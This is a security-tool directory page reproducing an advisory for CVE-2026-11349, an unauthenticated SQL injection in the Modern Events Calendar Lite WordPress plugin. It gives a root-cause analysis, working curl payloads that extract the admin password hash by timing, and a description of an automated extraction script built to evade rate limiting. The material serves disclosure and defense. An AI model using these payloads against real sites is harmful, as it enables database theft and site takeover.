Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-11349 — Modern Events Calendar Lite <= 7.33.0 — Unauthenticated SQL Injection | Kitploit
Tools/GitHubGitHub/hann1bl3l3ct3r/cve-2026-11349
Vulnerability AnalysisExploitationWeb Application ExploitationWeb SecurityPenetration TestingDatabase Security
GitHubhann1bl3l3ct3r/cve-2026-11349

CVE-2026-11349

Modern Events Calendar Lite <= 7.33.0 — Unauthenticated SQL Injection

View Repository
13 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

Modern Events Calendar Lite <= 7.33.0 — Unauthenticated SQL Injection via mec_list_load_more (atts[include] / atts[exclude])

Summary

DetailValue
PluginModern Events Calendar Lite
Slugmodern-events-calendar-lite
AuthorWebnus
Affected<= 7.33.0 (the current vendor-distributed Lite release). Bug present across the entire post-w.org range; lab-confirmed on 6.5.6 and 7.33.0, statically confirmed in 5.21.2. 6.5.6 = last wordpress.org build (frozen at the 2022-05-11 closure); 7.33.0 = current build distributed from mec.webnus.net
Active installswordpress.org count hidden since closure; historically 100,000+. Still actively distributed/updated by the vendor (Lite via mec.webnus.net; the same 7.x codebase underlies the actively-sold MEC Pro)
CWECWE-89 (SQL Injection)
VulnerabilityUnauthenticated blind SQL injection (time-based / boolean / error-based)
Privilege requiredNone (wp_ajax_nopriv_* — pre-auth)
User interactionNone
CVSS v3.17.5 (High) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
StatusLab-verified end-to-end on 7.33.0 (current) and 6.5.6 (WordPress 6.6.5, MariaDB 10.x)
CVE / GHSACVE-2026-11349

Description

Modern Events Calendar Lite registers a family of unauthenticated admin-ajax.php "load more" actions for its event-list skins (list, grid, masonry, agenda, timeline, tile, custom). Each handler reads the attacker-controlled atts request array, passes it through a helper named sanitize_deep_array() that — when called with its default arguments — performs no sanitization at all — and then concatenates the atts['include'] (and atts['exclude']) values raw into a post_id IN (...) SQL fragment that is executed with $wpdb->get_results() and no $wpdb->prepare().

Because the entry points are registered on wp_ajax_nopriv_*, no authentication, account, nonce, or user interaction is required. An unauthenticated remote attacker can inject arbitrary SQL into the WHERE clause of a SELECT against wp_mec_dates and read any data in the WordPress database (user password hashes, wp_options secrets/keys, other plugins' data) via blind time-based / boolean / error-based techniques.


Root cause

1. A "sanitizer" that sanitizes nothing on the default path

app/libraries/main.php:9607:

root@kitploit:~
public function sanitize_deep_array($inputs, $type = 'text', $excludes = array(), $path = '')
{
    if(!is_array($inputs)) return $inputs;

    $sanitized = array();
    foreach($inputs as $key => $val)
    {
        $p = $path.$key.'.';
        if((is_array($excludes) and in_array(trim($p, '. '), $excludes))
            or (is_array($excludes) and !count($excludes)))   // line 9615
        {
            $sanitized[$key] = $val;   // <-- RAW passthrough, no sanitization
            continue;
        }
        // ... (sanitize_text_field / (int) / esc_url / ... only reached when $excludes is non-empty)
    }
    return $sanitized;
}

The guard (is_array($excludes) and !count($excludes)) makes the function a complete no-op when $excludes is the default empty array — every value is copied through verbatim. The intent was evidently "if there is an exclude-list, skip those keys"; the boolean logic instead skips everything whenever no exclude-list is supplied.

2. The caller supplies no $excludes

app/skins/list.php:499-501 (load_more()):

root@kitploit:~
$this->sf = (isset($_REQUEST['sf']) and is_array($_REQUEST['sf']))
    ? $this->main->sanitize_deep_array($_REQUEST['sf']) : array();
$apply_sf_date = isset($_REQUEST['apply_sf_date']) ? sanitize_text_field($_REQUEST['apply_sf_date']) : 1;
$atts = $this->sf_apply(((isset($_REQUEST['atts']) and is_array($_REQUEST['atts']))
    ? $this->main->sanitize_deep_array($_REQUEST['atts']) : array()), $this->sf, $apply_sf_date);  // line 501

sanitize_deep_array($_REQUEST['atts']) is called with a single argument → $excludes defaults to array() → the no-op branch above → $atts is the raw, untrusted $_REQUEST['atts'].

3. Raw concatenation into the IN (...) clause

app/libraries/skins.php:

root@kitploit:~
// line 603 (exclude → NOT IN)
if(isset($this->atts['exclude']) and is_array($this->atts['exclude']) and count($this->atts['exclude']))
    $where_AND .= " AND `post_id` NOT IN (".implode(',', $this->atts['exclude']).")";

// line 606 (include → IN)
if(isset($this->atts['include']) and is_array($this->atts['include']) and count($this->atts['include']))
    $where_AND .= " AND `post_id` IN (".implode(',', $this->atts['include']).")";

The array elements are implode()d directly into the SQL string with no integer cast and no escaping. (absint()/(int) on each element would have closed this.)

4. Execution with no prepared statement

app/libraries/db.php:79:

root@kitploit:~
public function select($query, $result = 'loadObjectList')
{
    $query = $this->_prefix($query);          // only swaps `#__` for the table prefix
    $database = $this->get_DBO();
    if($result == 'loadObjectList') return $database->get_results($query, OBJECT_K);  // line 87 — no prepare()
    // ...
}

The fully-built string is handed to $wpdb->get_results() verbatim.

Taint flow (request → sink):

root@kitploit:~
$_REQUEST['atts']                                       (attacker-controlled, unauthenticated)
  → app/skins/list.php:501  sanitize_deep_array($atts)  (NO-OP: default empty $excludes)
  → MEC_skin::initialize($atts)                         ($this->atts = raw atts)
  → app/libraries/skins.php:606  "... post_id IN (".implode(',', $this->atts['include']).")"
  → app/libraries/db.php:87  $wpdb->get_results($query) (no prepare)

Reachability

app/skins/list.php:51-52:

root@kitploit:~
$this->factory->action('wp_ajax_mec_list_load_more',        array($this, 'load_more'));
$this->factory->action('wp_ajax_nopriv_mec_list_load_more', array($this, 'load_more'));  // <-- unauthenticated

The nopriv registration makes the endpoint reachable pre-authentication. The same load_more() shape and the shared skins.php query builder are present in the sibling skins, each with its own wp_ajax_nopriv_* action, so the same injection is reachable through any of:

AJAX action (nopriv)Skin handler
mec_list_load_moreapp/skins/list.php:497
mec_grid_load_moreapp/skins/grid.php:497
mec_masonry_load_moreapp/skins/masonry.php:229
mec_agenda_load_moreapp/skins/agenda.php:242
mec_timeline_load_moreapp/skins/timeline.php:242
mec_tile_load_moreapp/skins/tile.php:446
mec_custom_load_moreapp/skins/custom.php:233

No nonce is checked in load_more(), and the action does not require any plugin shortcode to be present on a page — the AJAX handlers are registered unconditionally at init.


Proof of Concept (lab-verified, MEC Lite 6.5.6, WordPress 6.6.5, MariaDB 10.x)

All requests are unauthenticated (no cookie, no nonce). The injected value is placed in atts[include][]; the payload closes the two open parentheses of the IN ((...) AND (... IN ( group and appends a top-level OR <sleep> so the condition is evaluated for every scanned row, then comments out the trailing )) ORDER BY ...:

root@kitploit:~
TARGET='https://victim.example'          # plain permalinks: use admin-ajax.php directly

# 1) Baseline (no injection)
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0'
#   → ~0.27s

# 2) Time-based proof — balanced top-level OR SLEEP
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode 'atts[include][]=0)) OR SLEEP(3)#'
#   → ~3.04s   ← SLEEP(3) executed

# 3) Boolean oracle (true vs false)
#   atts[include][]=0)) OR IF(1=1,SLEEP(3),0)#   → ~3.06s   (TRUE)
#   atts[include][]=0)) OR IF(1=2,SLEEP(3),0)#   → ~0.04s   (FALSE)

# 4) Real data extraction (blind), e.g. admin password-hash first byte == '$' (0x24):
curl -s -o /dev/null -w '%{time_total}s\n' -G "$TARGET/wp-admin/admin-ajax.php" \
  --data-urlencode 'action=mec_list_load_more' \
  --data-urlencode "atts[include][]=0)) OR IF((SELECT ASCII(SUBSTRING(user_pass,1,1)) FROM wp_users ORDER BY ID LIMIT 1)=36,SLEEP(3),0)#"
#   → ~3.04s   ← TRUE: admin hash begins with '$' (phpass)

The exact query executed (captured from WP_DEBUG_LOG) for an error-canary atts[include][]=0)MEC_SQLI_CANARY was:

root@kitploit:~
SELECT * FROM `wp_mec_dates`
WHERE (( `tstart`>='1780531200' AND `tend`<='2256249599' )
   OR ( `tstart`<='2256249599' AND `tend`>='2256249599' )
   OR ( `tstart`<='1780531200' AND `tend`>='1780531200' ))
  AND ( 1 AND `public`=1 AND `status`='publish' AND `post_id` IN (0)MEC_SQLI_CANARY))
ORDER BY `tstart` ASC, `id` ASC

— the literal token MEC_SQLI_CANARY appears verbatim in the executed statement, confirming raw concatenation. The atts[exclude][] parameter (skins.php:803 / 603, NOT IN) is injectable identically (lab-confirmed: atts[exclude][]=0)) OR SLEEP(3)# → ~3.5s). The identical query and injection were reproduced on 7.33.0 (current build) — same canary, same SLEEP behaviour.

Automated PoC

mec-unauth-sqli-poc.py (included) is fully self-contained and requires no credentials: it confirms the injection (baseline vs. SLEEP), then performs time-based blind extraction of arbitrary data (default: @@version, DB user, and the first admin's user_login:user_pass). It validates each response (HTTP 200) and paces requests with --delay + back-off to survive WAF/rate-limiting (e.g. mod_evasive). No data is modified (read-only SELECT context).

root@kitploit:~
$ python3 mec-unauth-sqli-poc.py --url https://victim.example --extract hash
[+] baseline=0.27s  sleep-case=3.04s  threshold=1.66s
[+] CONFIRMED unauthenticated time-based SQL injection (no auth, no nonce).
[*] Extracting (SELECT CONCAT(user_login,0x3a,user_pass) FROM wp_users ORDER BY ID LIMIT 1)
[+] admin:$P$B...

Impact

Unauthenticated, network-reachable, full read access to the database: wp_users password hashes, wp_options (auth_key, API secrets, tokens), and any other table. In practice this chains to full site takeover (offline hash cracking, secret/session theft). Integrity impact is limited — the injection executes in a SELECT via $wpdb->get_results(), which does not permit stacked queries — hence I:N. Heavy SLEEP/BENCHMARK could degrade availability, but the primary, reliably-demonstrated impact is confidentiality (C:H), giving CVSS 7.5.


Affected files

Line numbers are given for 7.33.0 (current) with 6.5.6 in parentheses; the code is identical across the range.

FileLine (7.33.0 / 6.5.6)Issue
app/libraries/main.php11726-11734 / 9607-9619sanitize_deep_array() is a no-op when $excludes is the default empty array (the !count($excludes) guard)
app/skins/list.php535 / 501atts read from $_REQUEST and passed to sanitize_deep_array() with no $excludes (in load_more(), 532 / 497)
app/skins/list.php53 / 52wp_ajax_nopriv_mec_list_load_more → unauthenticated entry point
app/libraries/skins.php806 / 603-606include / exclude array implode()d raw into post_id IN (...) / NOT IN (...) (exclude at 803 / 603)
app/libraries/db.php79-93 (87)MEC_db::select() runs $wpdb->get_results() with no prepare()

The sibling skins (grid, masonry, agenda, timeline, tile, custom) share the same load_more() + skins.php query builder and each register a wp_ajax_nopriv_* action → same bug, multiple entry points.


Distinction from prior Modern Events Calendar SQL injection CVEs

This is a distinct, previously unreported injection point. Every publicly documented MEC SQL injection targets a different AJAX action and parameter, and all were patched in versions this finding post-dates (it is lab-confirmed live in 7.33.0):

ReferenceAuthAJAX actionParameterFixed in
CVE-2021-24946Unauthenticatedmec_load_single_pagetime6.1.5
CVE-2021-4458Unauthenticated (only if addslashes/input-slashing disabled)mec_load_single_pageid6.4.0
CVE-2021-24149Authenticated (author+/subscriber)mec_fes_formmec[post_id]5.16.6
This reportUnauthenticated (no precondition)mec_list_load_more (+ mec_{grid,masonry,agenda,timeline,tile,custom}_load_more)atts[include][] / atts[exclude][]unpatched (≤ 7.33.0)
  • Different code path. The prior unauthenticated issues are in the single-event handler mec_load_single_page; this one is in the skin "load more" pagination (load_more() → MEC_skin::initialize() → app/libraries/skins.php post_id IN (...) builder), reached through the no-op default branch of sanitize_deep_array(). The mec_load_single_page patches do not touch skins.php.
  • No configuration precondition. CVE-2021-4458 (id) was exploitable only with PHP/WordPress input slashing disabled (a non-default state) because that value sits in a quoted context. Here the atts[include]/atts[exclude] values land in an unquoted numeric IN(...) context and are exploited with parentheses + SQL keywords (0)) OR SLEEP(3)#), which wp_magic_quotes() does not neutralise. It is therefore exploitable on a default WordPress install — lab-confirmed on stock WP 7.0 (magic quotes on).
  • Survives every prior fix. Confirmed firing on 7.33.0 — four years and a major version after the last mec_load_single_page patch (6.4.0).

Disclosure / scope note

Modern Events Calendar Lite was delisted from wordpress.org on 2022-05-11 ("Reason: Guideline Violation"), so the wordpress.org build is frozen at 6.5.6. This does not mean the plugin is abandoned — Webnus continued development off-platform: the current Lite build distributed from mec.webnus.net is 7.33.0, and the vulnerable code path is byte-for-byte the same there (lab-confirmed; the SQLi fires identically on 7.33.0). The bug therefore affects every release across the post-delisting range, not just the frozen wordpress.org copy.

Routing implications (the "closed on wordpress.org" objection is much weaker than it first appears):

  • It is a current, vendor-distributed, supported product, not abandoned code — a coordinated disclosure to Webnus is the primary channel; they actively ship updates and should patch.
  • MEC Pro (actively sold; current 7.x) is built on this same 7.x codebase. app/libraries/skins.php, app/libraries/main.php, and app/libraries/db.php are shared core libraries, so Pro is near-certainly affected. This should be confirmed against Pro source before formally asserting it, but the shared-library architecture makes it very likely. A confirmed Pro impact makes the finding unambiguously in-scope for Patchstack (a publicly-sold component) and worth a MITRE/Patchstack CVE regardless of the wordpress.org listing status.
  • For consumers that gate on the wordpress.org listing specifically (some Wordfence bounty criteria; Patchstack's "closed component" exclusion as applied to the Lite free build), cite the vendor-distributed 7.33.0 + Pro impact rather than the frozen 6.5.6.

A CVE is warranted on the merits: unauthenticated, network-reachable, full-DB-read SQL injection in a current, vendor-distributed product with a six-figure historical install base.


Timeline

DateEvent
2026-06-03Discovered during automated plugin review; verified end-to-end (unauth) on MEC Lite 6.5.6 (wordpress.org-frozen build)
2026-06-04Re-verified end-to-end on 7.33.0 (current vendor-distributed Lite from mec.webnus.net); confirmed code/injection identical — finding is current, not a delisted-version artifact
2026-06-04Vendor notification (Webnus) + WPScan CVE request; confirm MEC Pro shares the path
2026-06-05Vulnerability verified and CVE assigned
Download Tool